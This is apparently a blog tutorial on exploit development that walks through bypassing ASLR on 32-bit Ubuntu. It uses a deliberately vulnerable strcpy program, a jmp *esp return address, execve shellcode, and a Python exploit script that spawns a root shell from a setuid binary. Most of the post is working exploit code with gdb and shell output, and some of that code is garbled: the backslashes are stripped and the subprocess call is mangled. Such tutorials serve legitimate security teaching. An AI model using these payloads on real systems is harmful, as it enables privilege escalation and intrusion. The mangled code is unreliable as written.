Vulnerability Development: Buffer Overflows: How To Bypass ASLR…


So this is the second post in the series of vulnerability development posts I plan to make. Today we are going to focus on a simple technique used to bypass Address Space Layout Randomization (ASLR). All examples of code have been compiled on a machine with the following specifications:

dusty@devbox:~/Code/ASLR$ lsb_release -a; uname -ar; gcc --version; gdb --version

Distributor ID: Ubuntu
Description:    Ubuntu 10.10
Release:        10.10
Codename:       maverick

Linux devbox 2.6.35-28-generic-pae #49-Ubuntu SMP Tue Mar 1 14:58:06 UTC 2011 i686 GNU/Linux

gcc (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5

GNU gdb (GDB) 7.2-ubuntu


Let’s take a look and make sure that ASLR is infact being utilized:

dusty@devbox:~/Code/ASLR$ cat /proc/sys/kernel/randomize_va_space
dusty@devbox:~/Code/ASLR$ ldd ./vuln =>  (0xb78d3000) => /lib/ (0xb7764000)
        /lib/ (0xb78d4000)
dusty@devbox:~/Code/ASLR$ ldd ./vuln =>  (0xb78ab000) => /lib/ (0xb773c000)
        /lib/ (0xb78ac000)
dusty@devbox:~/Code/ASLR$ ldd ./vuln =>  (0xb7781000) => /lib/ (0xb7612000)
        /lib/ (0xb7782000)

As you can see from the above ASLR is indeed being utilized. Let’s take a look at some code:

dusty@devbox:~/Code/ASLR$ cat vuln.c

// hard coded jmp *esp function ;-)
void jmpesp()
        __asm__("jmp *%esp");

int main(int argc, char *argv[])
        char buffer[100];
        strcpy(buffer, argv[1]);
        printf("buffer: [%s].n", buffer);
        return 0;
dusty@devbox:~/Code/ASLR$ gcc vuln.c -o vuln -ggdb -fno-stack-protector -z execstack

This is a simple and contrived example yet again, but it serves its purpose. In larger programs you will generally find instructions like jmp *esp which we can utilize to bypass ASLR. I have placed the jmpesp() function there so that I can show you how to utilize it when exploiting this bug, as we wouldn’t normally find it in such a small binary.

It is a classic buffer overflow, argv[1] is copied to ‘buffer’ without bounds checking. We overwrite past the end of ‘buffer’ in turn overwriting the saved return address of main() so that when main() returns we control execution. We will make it return to our jmp *esp and have the esp register contain our shellcode. Let’s take a look at this in action:

dusty@devbox:~/Code/ASLR$ objdump -d ./vuln | grep 'ff e4'
 80483f7:       ff e4                   jmp    *%esp
dusty@devbox:~/Code/ASLR$ gdb -q ./vuln
Reading symbols from /home/dusty/Code/ASLR/vuln...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x080483fb :     push   ebp
   0x080483fc :     mov    ebp,esp
   0x080483fe :     and    esp,0xfffffff0
   0x08048401 :     add    esp,0xffffff80
   0x08048404 :     mov    eax,DWORD PTR [ebp+0xc]
   0x08048407 :    add    eax,0x4
   0x0804840a :    mov    eax,DWORD PTR [eax]
   0x0804840c :    mov    DWORD PTR [esp+0x4],eax
   0x08048410 :    lea    eax,[esp+0x1c]
   0x08048414 :    mov    DWORD PTR [esp],eax
   0x08048417 :    call   0x8048314
   0x0804841c :    mov    eax,0x8048500
   0x08048421 :    lea    edx,[esp+0x1c]
   0x08048425 :    mov    DWORD PTR [esp+0x4],edx
   0x08048429 :    mov    DWORD PTR [esp],eax
   0x0804842c :    call   0x8048324
   0x08048431 :    mov    eax,0x0
   0x08048436 :    leave
   0x08048437 :    ret
End of assembler dump.
(gdb) b *0x08048437
Breakpoint 1 at 0x8048437: file vuln.c, line 15.
(gdb) #  I set a break point on the ret instruction.
(gdb) run $(perl -e 'print "A" x 112 . "xf7x83x04x08" . "B" x 36')
Starting program: /home/dusty/Code/ASLR/vuln $(perl -e 'print "A" x 112 . "xf7x83x04x08" . "B" x 36')

Breakpoint 1, 0x08048437 in main (argc=Cannot access memory at address 0x41414149
) at vuln.c:15
15      }
(gdb)  x/i 0x08048437
=> 0x8048437 : ret
(gdb) #  OK so we are at our breakpoint, we have overwritten past 'buffer' and overwritten the return address of main, lets see what happens...
(gdb) ni
Cannot access memory at address 0x41414145
(gdb) i r esp eip
esp            0xbffff460       0xbffff460
eip            0x80483f7        0x80483f7
(gdb) x/x 0xbffff460
0xbffff460:     0x42424242
(gdb) # Excellent, as you can see EIP contains the address of our jmpesp.  ESP points to our string of B's which is where we will place our shellcode :-)

OK, first of all we used objdump to get the address of our ‘jmp *esp’. Then I loaded up GDB and set a break point on main()’s return. I then gave the program a payload with place holders:

run $(perl -e 'print "A" x 112 . "xf7x83x04x08" . "B" x 36')

I fill the buffer with 112 A’s (junk basically) and then I pass the address of our ‘jmp *esp’ in little endian format which overwrites the return address and this is where execution jumps to. At that location we know ‘jmp *esp’ resides and the processor then jumps to the esp register and execute what resides there. We step over the instruction in GDB using ‘ni’ and look at the esp register which contains our string of B’s (0x42424242). Let’s try this again with shellcode and see what happens, lets change the user to a normal user and change the binary to setuid ­čśë

dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "xf7x83x04x08" . "xebx18x5ex31xc0x88x46x07x89x76x08x89x46x0cxb0x0bx8dx1ex8dx4ex08x8dx56x0cxcdx80xe8xe3xffxffxffx2fx62x69x6ex2fx73x68"')
# id
uid=1000(dusty) gid=1000(dusty) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(dusty)
# whoami

I replaced the B’s with shellcode, and it gave us a root shell ­čÖé

This simple ‘jmp *esp’ trick allows us to bypass the restrictions of exploiting buffer overflows when ASLR is enabled.

Here is a simple Python script I wrote that exploits the vulnerability:

dusty@devbox:~/Code/ASLR$ cat
#!/usr/bin/env python

import struct
import subprocess

print "[*] Exploiting..."

junk = "x41" * 112
jmpesp = struct.pack("<I", 0x080483f7);
shellcode = "xebx18x5ex31xc0x88x46x07" 

payload = junk + jmpesp + shellcode["./vuln", payload])

dusty@devbox:~/Code/ASLR$ python
[*] Exploiting...
# whoami;id
uid=1000(dusty) gid=1000(dusty) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(dusty)

Izik wrote a very interesting paper on other tricks such as ret2ret, ret2pop, ret2eax, etc.. which can be used to bypass ASLR, it is worth a read and you can find it here:

Smack The Stack – Advanced Buffer Overflow Methods

If you have any questions, comments or even feedback regarding the topic discussed please leave a comment!

The next post will discuss how to bypass the non-executable stack (NX).